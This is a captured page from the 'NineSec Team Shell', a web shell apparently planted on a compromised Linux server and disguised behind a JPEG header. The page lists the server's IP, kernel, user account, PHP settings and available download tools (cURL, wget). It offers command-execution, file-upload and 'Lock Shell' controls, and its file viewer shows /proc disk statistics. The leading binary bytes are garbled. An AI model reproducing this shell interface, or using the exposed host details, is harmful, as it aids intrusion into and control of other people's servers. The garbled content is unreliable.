�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0) :  /proc/962583/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //proc/962583/../diskstats
   7       0 loop0 49399210 0 2062698638 16800299 135999612 0 3536279952 493657898 0 594945196 985304267 0 0 0 0 45367078 474846069
   7       1 loop1 188018246 0 26804771080 358220524 39456858 0 757001640 153481501 0 365368712 647500297 0 0 0 0 9123401 135798270
   7       2 loop2 13424804 0 641026218 1690394 278279038 0 7520419120 937580448 0 1086862032 1843149727 0 0 0 0 99070514 903878883
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 259       0 nvme0n1 1159190912 430065294 76600181818 224651137 3408976716 1758670406 66768810362 1644701994 0 1772737580 3862107593 6841855 15057 4675145976 2696944 714358534 1990057516
 259       1 nvme0n1p1 165 0 13984 24 0 0 0 0 0 88 24 0 0 0 0 0 0
 259       2 nvme0n1p2 21450 126378 18857866 7426 887 162 482185 6650 0 6352 14159 215 9 3498560 83 0 0
 259       3 nvme0n1p3 12114734 3804752 990067010 11051753 174387045 44674078 2336700033 473450280 0 531932768 484604171 265074 1396 834860504 102137 0 0
 259       4 nvme0n1p4 488743734 222643537 5691115616 83829636 424035953 571316912 7963757640 326985072 0 350222948 410814708 0 0 0 0 0 0
 259       5 nvme0n1p5 658310308 203490627 69900109792 129762248 2810552831 1142679254 56467870504 844259990 0 1096289164 976616962 6576566 13652 3836786912 2594723 0 0
 259       6 nvme0n1p6 139 0 2830 9 0 0 0 0 0 48 9 0 0 0 0 0 0
 259       7 nvme1n1 1636890164 373523341 96437434800 257204017 2554499918 1476726918 52276697196 4007290497 0 4237412940 1330355631 6425344 5398 3314926696 2560601 486904596 1358267810
 259       8 nvme1n1p1 586 19908 39368 1500 1 0 1 0 0 916 1587 237 0 82604928 86 0 0
 259       9 nvme1n1p2 18042 112883 16749224 7477 3247 13492 2213558 4198 0 5176 11695 51 0 567104 19 0 0
 259      10 nvme1n1p3 2943952 2803731 445406392 3297897 80230480 21310381 1173630214 210250929 0 236520260 213603285 142307 40 427220216 54458 0 0
 259      11 nvme1n1p4 411310573 165617704 4615445520 63120566 383468385 453079296 6694372808 291655739 0 273952836 354776305 0 0 0 0 0 0
 259      12 nvme1n1p5 1222616864 204969115 91359785792 190776490 2090797805 1002323749 44406480615 3505379629 0 3894725468 3698662157 6282749 5358 2804534448 2506036 0 0
   9       3 md3 16101086 0 723025410 14916268 178564663 0 2303776576 345986060 0 162364468 361014144 266470 0 834860504 111816 0 0
   9       5 md5 2164829723 0 145316586564 586005956 3279365282 0 55993991282 680310808 0 4201169660 1270831004 6590218 0 3836786912 4514240 0 0
   9       2 md2 625 0 16978 64 810 0 481960 5908 0 872 6068 224 0 3498560 96 0 0
   8       0 sda 3610171502 2001733646 391103304175 3499636261 1410147168 1475571063 90429152565 2127259799 0 2247126416 3520168030 0 0 0 0 445374093 2188239265
 253       0 dm-0 2164078972 0 145316576612 588177360 3737967052 0 55993991282 2504155016 0 320774184 3096637808 6556743 0 3836786912 4305432 0 0
   9     127 md127 5992263682 0 342564098538 3041402232 2641195297 0 89329906552 1341119872 0 1488944068 87554808 0 0 0 0 0 0

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options

NineSec Team - 2022